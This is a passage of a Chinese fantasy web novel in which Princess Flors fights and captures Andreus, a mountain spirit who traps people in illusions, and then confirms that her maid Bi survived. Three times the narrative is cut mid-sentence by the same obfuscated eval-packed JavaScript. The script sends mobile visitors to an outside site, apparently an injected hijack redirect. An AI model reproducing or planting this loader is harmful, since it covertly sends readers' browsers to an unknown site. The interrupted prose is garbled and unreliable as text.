小芙洛丝颤抖地抓住了他的手,鲜血还从她手指上源源不断的往外喷,大量失血让她全身无力,眼前也一片模糊,只能凭感觉抓出眼前那个高大瘦削的男人,“杀了他……快、杀了他……” 她喃喃。她祈求。 “国王陛下,该怎么办?” 饶是国王,也没有见过这样骇人听闻的场面,看着爱女的生命在眼前流逝,他心如刀割,痛不欲生,然而必须尽快做出选择,只有下令: “射箭!继续射,不要停!射——” 嗖嗖嗖嗖嗖嗖—— 忽然有个人滚鞍下马,扑过来挡在了她的身前。 冰冷的浅棕色发丝拂过芙洛丝的眼耳口鼻,这个人用自己的身体护住了她。 “殿下……” “碧?” 像回光返照一样,芙洛丝已经黯淡的苍蓝色眼眸亮了一瞬,旋即解冻春河一样的泪水夺眶而出。 “松手,臭女人,疯子,给我松手啊啊啊!”脏污的鲜血从帕尔索鼻子下流了出来,他气急败坏,用脚重重地踢着挡在前面的碧。 他每踢一脚,碧的身体就减少一部分,然而碧的手臂就像生根的大树一样,死死地、绝望地攀附在小芙洛丝身上,没有移动半分。 “别伤害殿下、别……” “松手,给我松手!”帕尔索重重地喘着气,越发力不从心了,他所触碰之处消失的范围越来越少,从原先夸张的一立方米变成了一半、一半的一半……还在缩小。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16428044|184886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 即使如此,碧的身体还是被踢成了蜂巢。 鲜血夸张地喷溅出来,溅到芙洛丝的脸上、身上,视线所及的一切都被染成了温热的猩红。 “为什么……”小芙洛丝摇撼着碧,碧的生命力在消失,“你走呀!他只想要我,你为什么……你走呀……” “瞧瞧,多感人啊,她为了保护你,献出了自己的生命呢。”安德留斯用力扳过芙洛丝的脸,强迫她直视这一幕。 “而你这个自私鬼,却连看都不想看她一眼,啧,碧要是知道了,该多伤心啊。她一直把你当亲妹妹一样看待,不遗余力地教导你那么多东西。” 十分钟的时间,已经够一个人的思想驰骋万里,他在芙洛丝的记忆里发现了很多有趣的东西。 芙洛丝脸色灰白,瞳孔黯淡,里面倒影不出任何东西。 “你的精神崩溃了,”安德留斯在耳边低语,“这还不够。我要它溃散,碎掉。” 鲜血浇透了她的身体。 小芙洛丝忽然觉得好冷,然后便发现,是保护她的碧的身体变冷了。 “别……别这样……碧?碧,别离开我……不要…………啊啊啊啊啊!” 两个芙洛丝痛苦的嘶吼声交织在一起。 黑发的芙洛丝手持利箭,箭镞没入皮下,深深地、没有一丝犹豫地往下划去—— 她终于捡到了掉落在草坪上的乱箭,反手刺死了自己。 帕尔索也在此刻抓住了金发的芙洛丝,兴奋得满脸大汗也顾不上了,就要对她使用吞噬能力。 其实就算他不动手,小芙洛丝也会因为失血过多而慢慢死掉的,但是他等不及了,因为他很饿,很虚弱,再这么下去,能力都要用不出来了,他决定赶紧杀掉芙洛丝,夺走她的生命,然后再杀掉在场的其他人。 不过。 他有一点小小的疑惑,都这个时候了,为什么这个臭女人还不用能力呢? 算了,帕尔索果断伸向芙洛丝心脏所在的地方,不管了,反正这个女人就要死了! 不料白光大亮。 耀眼的白光从小芙洛丝千疮百孔的皮肤上爆射而出,如此光辉,如此圣洁,以至于她的血液都被映照成了灿烂的白金色。 伤口在愈合。 血液被吸收。 “这究竟……”帕尔索怔住了。 只有芙洛丝能听到的、脑海里的那个声音说道: “毫无疑问,你已经证明了你作为【公主】的潜力。【仆从】将为你而战,为你而死,无论多么遥远的距离,无论多么孱弱的意志,只要你一声令下。你的命令将跨越一切语言的隔阂,跨越【仆从】们肉.体的极限,连生与死的界限都可以跨越,而这一切,只需您轻轻■■■——” 安德留斯摇撼着怀中濒死的芙洛丝,“需要什么,你——” 一切戛然而止,幻境开始坍塌。 “这、这怎么可能……这是怎么回事!你——”帕尔索大惊,更让他震惊的是,原本已经死去的碧竟然也颤颤巍巍站了起来。 出于某种敏锐的直觉,他感觉碧不对劲,很不对劲,明明是具坑坑洼洼的尸体,内脏都被他踢空了,现在却带来一股无匹的威压。 就好像……天神降临。 “亲爱的殿下,”碧垂着头颅,“谨遵您的旨意,我……永远也不会离开……您。” “怪物。” 国王看着自己的女儿,这么说道。他仓皇失措的脸和颤抖的声音很快被幻境抹去了。 地动天摇。 帕尔索、小芙洛丝、举着弓箭的士兵们、草坪上死不瞑目的侍女们……都要消失了,幻境也要消失了。而安德留斯没有听到芙洛丝发动能力的条件。 他死死地抓住芙洛丝,芙洛丝的手也死死地抓着他。在幻境彻底破碎的时刻,她恢复成了十八岁的身体。 “你这一招搞得我很恼火啊。”芙洛丝眼瞳里是熊熊燃烧的怒火,她的精神没有崩溃也没有破碎,自那烈火之中,流下了一滴水晶一样的泪。 “这笔账,我们终于可以好好算一算了,安德留斯!” 11. 跪下舔 清冷的雪夜,重重的树影。 眼前是一望无际的夜色,鼻端是清冽的雪松气息。 回来了! 左手还紧紧抓着安德留斯的手腕,芙洛丝当机立断,先朝安德留斯的脸挥出一拳。 安德留斯反应也很快,偏头闪避。芙洛丝的拳头打中树干,积雪簌簌地掉了下来,淋了两人一头一脸。 安德留斯的脸庞在雪光的反射之中格外可恶,他笑道:“我的宝贝,你又有什么理由对我动手呢?你也是邪恶之人,你的手上沾了那么多条人命。” “哼,”芙洛丝再打一拳,“多吐点唾沫星子,说不定我会被你说得崩溃,进而泪流满面呢。” 安德留斯接住了那一拳,还以一脚,芙洛丝向一侧闪躲的时候踩到枯枝,被绊了个猝不及防,然而她很快稳住身形,借力打力将安德留斯过肩摔了出去。 安德留斯狼狈地从地上爬起,擦了擦嘴角的血丝,冷笑,“真可笑,一国的王宫出了这么大的惨剧,居然没有一点消息传出来,让我猜猜,是你把他们都变成了你的【仆从】?哦,不不不,【身份者】觉醒时一般都会感到极度的饥饿,你又有那么强的对手要击败,王宫里一定发生了比那时还要可怕的事情——” “继续说啊!” 芙洛丝明显盛怒已极,安德留斯不跟她交手,利用拥挤的地形跟她绕圈子。忽听一声爆响,一棵十米高的大树遥遥欲坠,落下枯枝、积雪无数。 芙洛丝一拳打爆了大树。 “你的【仆从】看起来是近身战斗的类型,”安德留斯继续说道,“可帕尔索能够吞噬接触物,简直是你能力的天敌,不过从最后一幕来看,帕尔索的身体状态已经渐渐跟不上了,用人海战术,说不定可以耗死他。我高贵又纯洁的公主殿下,我好想知道,你为了战胜帕尔索,究竟用了多少无辜的仆从?” 安德留斯的围巾与衣摆在树与树之间的间隙里疏忽飘过,轰的一声,先前摇摇欲坠的那棵高树倒了下来。 “真可惜,她们直到死前的最后一秒都在保护你,你却把她们炼成了活死人。” 芙洛丝没有立刻跟上来,但是可以听见她窸窸窣窣的声音。 在哭吗? 安德留斯讥笑道:“如果她们的在天之灵能看到你在忏悔,或许能够稍稍安息。不过,她们已经被你变成活死人了,她们的灵魂现在何处,恐怕连你也回答不出来吧?” 耳朵微动,他听见侧边有声响。 芙洛丝要再次发动攻击了。 “好孩子,还是让我带你去跟她们忏悔吧。”他正要施展能力,再度将芙洛丝拉入幻境,飞来的一团冰凉的雪堵住了他的话语,“唔唔——” 紧随其后的是芙洛丝的上勾拳,结结实实地打在他的下巴上,将他整张脸都翻到了后脑勺。 “噗——咳嗯,”他吐出口中混着血丝的雪,还有一颗松动了的牙齿,他用手按着受伤的地方,“嘶,怎么,恼羞成怒了呀?你再怎么揍我,也改变不了你害死她们的事实。力气倒是大,比你在幻境里那会儿成长了不少,看来某人这五年来一直在痛定思痛,过得很不轻松啊。” 芙洛丝的表情隐没在阴影里,看不真切,只看到她浑身散发出杀气,宛如一尊战神,活动了下肩膀之后,她高高地提起拳头—— “芙洛丝,你的手上沾满鲜血,”安德留斯以鄙薄的眼神,仰视着她,一字一顿,“你也是,杀人凶手。” 芙洛丝的气质明显更可怕了。 真是年轻的小姑娘。不堪一击。 安德留斯的心里没有一丝害怕。战斗已经步入尾声,现在,他只需要确认一下芙洛丝的能力发动条件,确认她没有利用的价值即可。 芙洛丝不可能这么短的时间里发现他能力发动的条件,所以在他面前,她的记忆就像一本摊开的书,一览无余。他平生没有玩弄手下败将的恶趣味,但芙洛丝显然很具备玩弄价值。 他有点想看她崩溃的样子。 他凝视着芙洛丝的双眼,再度用出了启动幻境的前置条件—— 砰! 他被打飞了。 怎么可能?安德留斯不敢相信地瞪大了双眼,在一片昏暗之中,他看见芙洛丝的耳朵上有东西在发亮。 耳环?两只? 她不是将一只耳环送给厨娘了吗? 不,那种光泽似乎并不是宝石的反光,似乎是另一种颜色更浅的…… 安德留斯视线往下,微眯双眼。 那才是真的耳环。一只。就在耳垂下面一点儿。它深沉的红色在夜里并不反光。 那么,芙洛丝耳朵里的是? 芙洛丝的耳朵很冷。 ——闭眼之前,她塞了两团雪在耳洞里。 安德留斯先前发动幻境的时候,只是望着她,对她说话,这也许就是他发动幻境的条件。所以她暂时将视觉和听觉封闭了起来。 她现在只靠【仆从】报的点位来判断安德留斯的位置。 方才她击倒的那颗树上,有个鸟窝,她抓住了其中一只熟睡的小鸟,将它变成了【仆从】。 安德留斯很快也发现了她耳朵里塞的是雪,微微挑眉,以示敬意。 反应很快嘛。他都感到有点惊喜了。 不过——他看着芙洛丝紧逼的双眼,视觉、听觉都被关闭,这女人还怎么跟他打? 芙洛丝的拳头已经来到了他的身前。 看那骇人的架势,不把他打成肉酱是不会罢休的。躲过之后,果然听见一声巨响,他身后的那棵树树皮都被打爆了。 他犹豫了一下,要不要将部分分身收回来,换取更强的肉.体强度,然而他前脚刚走,芙洛丝后脚就如影随形似的跟了上来,还附以全力一击。 他明明刻意收敛了动作。 又试探了几下,安德留斯确认,不管他往哪里走,芙洛丝都能精准跟上。 她到底是靠什么来确定自己的方位的? 安德留斯很快找到了答案,只听扑棱一声响,翅膀扇动的声音,他抬头望去,一只小雪雀正绕在他头上飞。 原来如此。他放松了。 “小孩子就应该去睡觉。”安德留斯对它做了个噤声的动作。 雪雀扑棱了两下翅膀,缓缓坠落在安德留斯的掌心。 安德留斯用食指勾了勾它的脑袋,“小叛徒。”随后将它往身后一抛。 果然,下一秒,失去了【仆从】的芙洛丝就惊慌失措地睁开了眼睛。 “亲爱的殿下,晚上好,”安德留斯从容而自信,笑容充满魅力,“为什么不让我多看看你那双宝石一样漂亮的眼睛?” 芙洛丝流过泪的漂亮眼睛已很快切换为冷静的神色,她瞪着安德留斯。 两个人都经历了一场大运动,袅袅的热气从口中、鼻中往外溢出,它们在冷空气中交织在一起,成为乳白色的一团,复又消失在漆黑的上空。 安德留斯还想说点什么,转念想到芙洛丝听不到,又闭嘴了。 于是他扶着一旁的一株松树,用姣好的唇形比划,“我们,是一样的。” 芙洛丝猛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16428045|184886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地闭上眼,向他抓了过去。她显然被这话激怒了,动作更快、更狠,就像她所代表的王室信仰的那只雪地猎隼一样。她恨不得俯冲下来,用她的手将安德留斯抓成碎片。 在她闭眼的一刹那,无数雪白的游丝涌入安德留斯的身体。 当然,芙洛丝这时已经看不见了。 她将安德留斯掼在地上,连同无声涌入他身体,为他疗伤的那些白丝。 芙洛丝终于开了口:“我们不一样。” 细碎的、冰冷的雪从无数方向涌来,安德留斯的头碰到了地面,又开始流血,疼倒是不疼,只是视线染上了一片红雾,看东西有些不清楚。他哼笑一声,挣扎着要起来,忽然嗅到一阵花一样的香气。 芙洛丝的发丝垂到了他的脸上。 然后他就不动了。 芙洛丝的头发柔软而冰冷,如无边的黑夜一样,从四面八方垂下来,将他围住了。视线清明了,芙洛丝俯视着他,一只脚踩在他的太阳穴上,苍蓝色眼眸没有一丝柔软的情绪。 “我们不一样。你这个垃圾,”芙洛丝确实是用看垃圾的眼神看着他,脚尖用力,“你只配跪下来舔我的脚。” 她的脸庞如月亮一样光辉圣洁。 安德留斯张开嘴,还没来得及做出“咬”的姿势,就感受到颈部一阵剧痛——他差点被芙洛丝一脚扭断脖子。 “哼。”芙洛丝又往脚上用了点力气。从这个角度,安德留斯看不见她的眼睛,如果他是通过与人对视来将人拉入幻境,那他再也没有机会了。 可没想到,安德留斯笑了。 因为耳朵里塞着雪,芙洛丝听不太见声音,她是通过脚上传来的震动感受到的。 安德留斯低低地笑着,笑声在喉咙里闷闷地回响。 他的脸被踩在雪里,因此满溢到唇边的雪开始融化之后,他才能勉强开口说话,“看来……唔嗯……亲爱的殿下不打算给我这个殊荣。” 芙洛丝耳边的雪也在融化,这句话她仍听不太清楚,但听安德留斯那种嘲弄的语气,她大概知道他的意思。 没必要跟这种人多嘴。 要不是忌惮他那种拉人入幻境的力量,芙洛丝早就从正面杀死他了,而不是像现在这样,只能把他踩到雪里,慢慢地让他窒息。 不过稳妥也是好事。 她想象着安德留斯温热的脸颊被冻土一点点夺去温度,那双温润多情的大眼睛也渐渐失去光亮,心里一阵痛快。然后,又好像听到了安德留斯在说什么。 管他说什么。 不理。 安德留斯的脑袋不安分地扭动着,似乎又将那句话大声说了一遍。 啧。 这杂种生命力还挺顽强。 忽觉脚下传来一股力量,原来是安德留斯用脚勾住了她,想绊倒她。 自从五年前发生那件事以后,她就一直特别注意身体素质的加强,她的体魄本来就要比普通人强健,经过专门的训练之后更是如此,制服一个像安德留斯这样的壮汉也不在话下。 她没有被安德留斯的力量撼动。 安德留斯剧烈挣扎、低吼了一阵,终于安分下来。 脚上传来安德留斯血脉的搏动,那搏动也微弱下来。 芙洛丝耳朵里的雪融化殆尽,那种透骨的冰冷从耳廓一直传到脑子里,一切都结束了,四周也安静下来,她轻轻打了个寒颤。 安德留斯的声音也很轻、很轻了。 但是这会儿,芙洛丝听清了。 “碧,没死……”他说。 12. 小把戏 “碧没死,我说碧没死!”安德留斯一得到喘息的机会就大叫大闹,趁着芙洛丝怔愣的瞬间,立马将自己的头转了过来。 他双眼微微泛白,眼白湿润,无神地望着漆黑的夜空,像一条摔到岸上上的鱼那样拼命喘着气。大团的白雾从他的唇齿间飘出,像从喉咙里挣扎出来的妖娆的白花,争先恐后地向寒冷绽放。 他用力地扯开自己的衣服,从额头到脖子,再到胸膛,都因窒息而泛起了不正常的可怕红晕。他剧烈地咳嗽着。 “碧……没死……咳咳……”他终于稍微回了点神,咽了咽口水。 “你应该有那种感应【仆从】位置的能力吧,所以那个时候才确定碧消失在了厨房,固执地乱翻一气,你感应一下,就知道我说的没错了。” “别猜我的能力。”芙洛丝冷声道,又踩上了他的喉咙,将他的头转过去,“还有,不准看我的脸!” 这回芙洛丝脚下留情,只是扭了他的脖子,没有把他踩进雪里。安德留斯大叫,“怎么,只准你猜我,不准我猜你……咳咳,好啦好啦,你真要谋杀我吗?!” 被踩了一脚的安德留斯老实了。 芙洛丝不跟他废话,聚精会神,开始感应。 感应的结果让她大吃一惊。 碧居然真的还活着! 在雪山的仆从网络上,三个碧绿色的小点正在闪烁,她可以从呼吸的频率和强弱分清哪个是安妮,哪个是碧拉……而剩下的那个,则是碧! 一模一样的体征,绝对不会错,这就是碧。 可,碧不是死了吗? 没有哪一种生物可以在呼吸停止这么久之后再度复活,即使是被她转化过的【仆从】。碧成为【仆从】之后,依靠她的命令获得能量,在失联这么久之后,她早该化为尘土。 难道……是安德留斯转化的分身,完美地模拟了碧的状态? 不。不可能。 首先,安德留斯不可能对碧那么熟悉了解,他根本没有接近碧的机会。其次,能出现在她的感知网络里的,一定是被她转化过的【仆从】,就算安德留斯创造出了完美的分身,也需要她的能力去转化。而刚刚她根本没有转化过。 碧真的没死? 这个事实太过超出认知,芙洛丝的脑中出现了短暂的空白。 这到底是怎么一回事? 碧呼吸停止的时候,她又在哪里? 安德留斯尽力转动眼珠,从余光中看清了芙洛丝脸上依次掠过的各种情绪。 “喂,”他清清喉咙道,“你应该听说过那个传说吧,雪山会拒绝不怀好意的闯入者。那是我的能力,我可以操纵雪山上的空间,让闯入者‘迷路’。我让碧迷路了,就是这样一个小把戏,我拿来试探你的,你现在明白了吧?你是个聪明人,现在应该知道,你再没有对我动手的理由。” 芙洛丝的思绪很混乱。 除了突然出现的碧,还有一件事同样令她很在意。 她明明要安妮和碧拉下山,她们却还留在山上,一般而言,她们绝对不会违背自己的命令,除非……出现了新的事件,改变了她们的认知,让她们做出了新的判断。 那个事件就是碧拉真的活着。 她们用了她们能用的一切手段,确认了那是碧,确认了她还活着。 难道事情真的像安德留斯说的那样? “你应该知道,我是可以把你也变成【仆从】的吧。”芙洛丝威胁道。 那样,你就不可能对我说谎了。 “咳,受宠若惊啊。”安德留斯又低低地笑了起来。 他脖子上的青筋因为这个角度而凸起,在薄薄的皮肤下震颤、搏动,他甚至仰了下头,更毫无保留地向芙洛丝袒露着它的脆弱,“很乐意向你献出我的忠诚,亲爱的殿下,你打算怎么做呢?” 我打算把你变成【仆从】,套出实情之后再命令你去死。芙洛丝这么想了一想,没有说出口。 安德留斯活动了下头部,又发出一声呻吟,“我说过了,亲爱的,你没有对我出手的理由。你瞧,我没有谋杀你的侍女,我待在雪山上,一直很安分守己。我比你纯洁多了。” “闭嘴。”芙洛丝又踩了他一脚。 在安德留斯的眼里,她竟然是如此良善之辈?她不知道该作何反应。 但,如果安德留斯真的没有对碧出手……她能毫无心理负担地杀掉安德留斯吗? 安德留斯知道她的【身份】,又把她的能力猜了个大半,现在不杀安德留斯绝对是愚蠢之举,她有预感她一定会后悔。 杀,还是不杀? 他们都斗到这个份上了。 世界上根本没有无辜的【身份者】,安德留斯显然是其中的翘楚,理智的做法是杀掉他,再回去确认碧的身份。 宁可错杀一千,也别放过一个。 如果真的杀错了,那就能怪安德留斯运气太差。 好,就这么决定了。 “芙洛丝。”安德留斯忽然叫了一遍她的名字,“亲爱的殿下,你都把我打成这样了,还在担心什么呢?你有一千种方法让我屈服,我总是逃不出你的手掌心的。” “少给我油嘴滑舌!”又是这种语气,芙洛丝想踩死他的想法更坚定了,“你连你的真身都没展露出来,还怕死在我手里?” 安德留斯又咳了一下,“我的分身是这座山。” 这回轮到芙洛丝震惊了,“什么?” “我的身份是【山神】,所以根本没有办法展露真身,因为一旦如此,我们脚下的土地就会崩塌,这具身体也会因承受不了如此强大的能量而爆炸。这座山分走了我大部分的力量,我离开不了雪山,也没法比其他的【身份者】更强大,这就是事情的真相,我摊牌了。” 出乎意料的,芙洛丝更恼火了,“你以为我们在玩‘谁说话就相信谁’的游戏吗?” “你不信?”安德留斯的语气听起来有些受伤,也有些寂寥,“那你就把我变成【仆从】吧,【仆从】应该是不会对你说谎的,来吧,你要对我做什么呢?反正我输了,你想怎么处置我,我都没法反抗。” “闭嘴!”芙洛丝面色更冷,“你把我作为获胜者的好心情都变差了!再多说一个字,我就让你永远说不出话来,明白么?” 她很快下了决定,不会把安德留斯变成【仆从】。 她要直接杀了这个男人,而不是与他有纠葛。 “烧死我。”安德留斯忽然又说了一句。 只听他继续道:“这座山还存在,我就存在,就算我的血一时流尽了,也会慢慢恢复生机。我会变成山里的鸟,或者鹿,等休养完,又会再度变成安德留斯。如果你想做得彻底一点,就烧死我。” 这家伙绝对有病。 “我会的。”芙洛丝把他揪起来,刻意不去看他的眼睛。 她用安德留斯的腰带把他绑了起来,安德留斯挣扎着:“喂喂,我看没这个必要吧——” 很快,他的嘴也被芙洛丝就地取材,用一把雪塞了起来,芙洛丝将他的围巾拆下来,围着他的脑袋绕了好几圈,将他的眼睛也遮住。 “唔唔!” 这会儿才意识到,安德留斯确实被打得挺惨的,嘴巴破了皮,掉了一颗牙,额头还在不停地流血,英俊的脸上青青紫紫,芙洛丝绑他的时候,他疼得直哼哼。 他应得的。 “我要回城堡确认碧的身份,你要是跟我玩什么迷路的小把戏,我就弄死你,懂吗?”芙洛丝给了他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16428046|184886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻轻的一巴掌,他点头,表示听懂了。 芙洛丝将他丢上马,随后坐在他的背后,将他双手扭到一起,用另一只手握着缰绳。 “你不会是在心里骂我吧,嗯?” 安德留斯没说话。 他也说不出话来。 “那就好。”芙洛丝道。 回去的路明显短了很多,不过片刻功夫,城堡就出现在眼前。远远地,芙洛丝看见火光闪烁,听见欢声笑语。 烤肉的香气浓郁得散不开,油脂在松木枝上滋滋作响,篝火发出毕毕剥剥的爆裂声。城堡外面摆着酒桶,好几个小伙子围着篝火唱歌跳舞。 我的天。 这,是在干什么? 芙洛丝都有点怀疑走错了地方,或者又中了安德留斯的招,掉进了新的幻境之中,步伐踟蹰不敢前。 但她还是走上前来。 她和奄奄一息的安德留斯从黑暗中走向光明时,所有人都自然而然地望了过来。虽然安德留斯的头被包得严严实实,但他穿着那套衣服,身材又那么高大,所有人都知道那是他。 他被绑着,脸上还在渗血。 欢乐的气氛凝固了。 “看什么看?”芙洛丝丝毫不惧,将那些视线一个个顶了回去,“你也是他的分身?你也想挨揍吗?嗯?” 她提着马鞭,翻身下马,把安德留斯也拽了下来,安德留斯没法保持平衡,砰地摔在地上。 “喔——” “嘶——” 所有人都发出了类似这样的声音。 有人想上来扶安德留斯,但被芙洛丝震慑住了,不敢上前。 芙洛丝脸色有些不太好,将安德留斯提起来,道:“够了,把你的分身收回去,他们的眼睛看得我很恼火。” “唔、唔唔——”安德留斯表示有话要说。 犹豫片刻,芙洛丝把他嘴里塞的围巾拿了出来。 “呼,哈啊,”安德留斯被冰雪冻得通红的嘴唇一张一合,好不容易在芙洛丝爆发之前调顺气息,道,“他们……不是我的分身。和你交手的时候我就把能收的都收回来了,不然我早被你打死了。我没那么神经质,捏那么多替身,让他们一个个陪我说话。怎么说安德留斯一族也是贵族,有些仆役再正常不过。你说呢,殿下?” 芙洛丝黑了脸。 城堡的门口站着碧,安妮,碧拉。 她们迎了上来。 身为贴身侍女,她们看一眼芙洛丝的表情,就知道她在想什么。安妮的脸微微泛红,小声解释道:“殿下,碧回来了,另外,我们对安德留斯家族好像有些误解——” 奥菲修斯作为安德留斯的管家,站在一旁,眼神不善。 “这是在干什么?”芙洛丝偏和他对话。 “宴会。”奥菲修斯答得阴阳怪气,“主人不是说了吗,晚上开宴会。” 芙洛丝又问安德留斯,“是这样?” 当然不是这样!她的眼神充满威胁的意味,意思是“赶紧和你的管家说实话,告诉我们在外面的树林里做了什么,不然弄死你”。 安德留斯却像完全听不懂一样,微微地喘着气,笑得阳光灿烂,眼睛都成了弯弯的两道月牙,“是啊。” 芙洛丝的脸更黑了,“你给我等着。” 又道,“碧,你跟我来一下——” 安德留斯的身影挡在了她的身前。 他颇有绅士风度地俯下身子,向芙洛丝伸手,这会儿功夫,他就把绑着他的绳圈解开了。绳子掉在地上,就像他的尾巴掉在地上一样。 摘掉了狼尾巴的安德留斯又变成小绵羊,火光在他浓墨重彩的脸上跃动,他说,“既然是宴会,女主人怎么能离开呢?来,来和我跳舞。” 13. 不信任 芙洛丝赶忙闭上眼睛,不忘提醒侍女们:“闭眼!别看他的眼睛,也别听他说话!” 安德留斯却爽朗地笑了,笑声在靠近,芙洛丝下意识地后退并做出防卫姿势,心脏都快了好几拍,又僵住——这个家伙摸了摸她的头发。 “别紧张,我也不想【身份者】的明争暗斗暴露在平民视野里。你看,这里有那么多普通人。” 芙洛丝捂住耳朵,就朝安德留斯所在的位置踢出一记前踢,安德留斯已经识相地举起双手后退了。 “冷静,我不想在这里和你打起来,虽然山巅的我确实要比山下厉害。我们暂时休战吧,装作什么都没发生的样子,我们跳舞吧。” 原来安德留斯的能力会随着在雪山的海拔高度变化而变化。 芙洛丝的回答只有一句话,咬牙切齿的:“原来绳子绑不住你。” 安德留斯说的话就跟放屁一样,什么不想当众暴露身份,因为这里究竟有多少人是真正的普通人,多少人是他的分身,只有他知道。 什么宴会、什么跳舞,都是狗屁! 离开城堡的时候,两个人明明抱着要置对方于死地的决心,别告诉他,就在那个时候,安德留斯还能吩咐下人准备好归来的宴会。 如果落败的是她呢?安德留斯会饶她一命? 用脚指头想都知道,不可能! “是的,亲爱的,”安德留斯像看出了她的忧虑,反而用手挡在嘴边,对她小声说,“如果输的是你,我会把你吃得骨头都不剩。不过,你赢了,喂,再挡着眼睛了,大家都会起疑心的。” 芙洛丝杀心暴涨,在睁眼的一瞬间将他的双手扭到身后,并赏了他一记利落的手刀。安德留斯开口只发出了一个短促的音节,就昏倒不起了。 他遗留在脸上的表情,很惊愕。 “将他绑起来,绑紧一点,碧,”芙洛丝对碧扬了下下巴,“你去和我处理其他人。” “处理?”碧还有些愣。 “嗯。安德留斯提醒了我,万一他们下山和别人交换物品的时候提起山上的事,而附近又恰好有人打听我的下落,那就糟了。我要把他们分开关押,一个个审问、检查,搞清楚他们到底是不是普通人。” 像是忽然注意到身边还有一个人,芙洛丝抬起了头,磨牙霍霍,“哦对,还有你,奥菲修斯。” 奥菲修斯早见识过芙洛丝的暴力手段,当即拔腿就跑,可惜跑出几步远就被芙洛丝追上,如他主人一样被一手刀敲晕了。 安德留斯家族治下的那些小伙子要替主人鸣不平,举起武器准备反抗,也被芙洛丝主仆四人一一制服。 他们是雪上上天生的猎人,很遗憾,他们遇上了心狠手辣的芙洛丝。 “你不可能再骗我一次。”像是提醒自己一样,芙洛丝如此自言自语。 城堡里的空房间很多,一人一间绰绰有余,按芙洛丝的吩咐,安德留斯和他手下的人都被蒙住口鼻,双手绑在床柱上或窗户栅栏上。 宴会仓促结束,招待客人的主人成了座下囚。 “殿下,那我们该如何区分呢?靠胸口的雪花印记吗?” “嗯。”芙洛丝将城堡前前后后搜查了一遍,那些厨娘早不见踪影,厨房里只余几只吱吱叫的大灰鼠。附近的雪地都没有出现她们的脚印。果然,她们消失得比出现还蹊跷。 芙洛丝已可以确定,那些厨娘就是安德留斯的分身。 “在此之前,碧,你和我来一下。” 芙洛丝挑了间空房间,“我有几个问题想要问你。” 碧的身份让她耿耿于怀,她非亲自确认不可。碧看起来也有很多话想和她说,一进房间就主动地关上房门。 “殿下,是要问我消失的这段时间发生的事,对吗?” “不。”芙洛丝摇摇头,打量着她。 反而先谈起了小时候的事。 她询问了一些只有她和碧才知道的几桩宫廷逸闻,碧对答如流。 而且细节没有一丝出错。 芙洛丝想了一下,道:“给我看看你的身体。” “殿下怀疑我?”碧恭顺地说道,旋即有些僵硬地掀起自己的裙子。 她的身上还留着五年前那件事留下来的疤痕,即使芙洛丝以命令的形式让她的每一寸血肉都回归了身体,但她的肌肤表面仍是各种断痕,那是芙洛丝用多少药膏、下多少命令都不管用的,那是帕尔索的能力作用过的痕迹,芙洛丝作为另一个【身份者】无法抹去的痕迹。 “你的身体解离得更严重了。”芙洛丝倒吸一口冷气。 她并不记得每一处疤痕的样子,因为她总是不忍去看,但她记得碧的疤痕是浅白色的,已经愈合得差不多了,而不是像现在这样又开始泛红,有的地方甚至露出了深紫色的肌肉内里。 “怎么会这样?” 碧一五一十地答道:“从安德留斯的空间里出来之后便是这样,我也不太明白。” 芙洛丝这才开始问她消失的那段时间发生了什么。 碧的眼神有点呆滞,她的眼眸和芙洛丝同色,却总是一副很难聚焦的样子,她尝试回忆事情的时候就更明显了。 她说,她当时是要去监督安德留斯的,但不知道为什么,脚下的楼梯怎么也走不完。从当时的房间到厨房,明明只有一层楼的距离,她都看见安德留斯和奥菲修斯了——那会儿安德留斯正在给奥菲修斯松绑——却怎么也走不到他们身边。 她反应过来事情不对劲的时候,尝试往回走,依然怎么走也走不上去。她尝试呼救,没有一点回应。再然后,她觉得很冷,后面的事情就不知道了。 “醒来的时候,我在厨房的地窖里,我连忙上楼,想跟殿下汇报发生了什么,却得知殿下已经和安德留斯出去找我了。” “居然是这样?”芙洛丝皱起眉,细细思索一番,又喃喃,“居然是这样。” 那么,起码安德留斯在这件事上没有骗她。 “欢迎回到我的身边,”她吻了一下碧的金发,“以后,我再也不会弄丢你了。” 她们和剩下的两人集合。 “安德留斯就是我要找的那种人,也就是要追杀我的那种人。”芙洛丝直截了当地下了结论。 说起来,她自己也忍不住感慨,世界真小,没想到一早便与自己订下婚约的雪山未婚夫就是【身份者】,本来……她还想假借成亲在雪山上躲避耳。 侍女们很快地接受了这一事实,没有人问为什么要将安德留斯和他手下的人全绑起来,只有一个问题: “殿下,那你打算怎么做呢?” 她们三个的表情都写着“绝对信任殿下,绝对执行殿下的一切命令”。 芙洛丝也在思索这个问题。 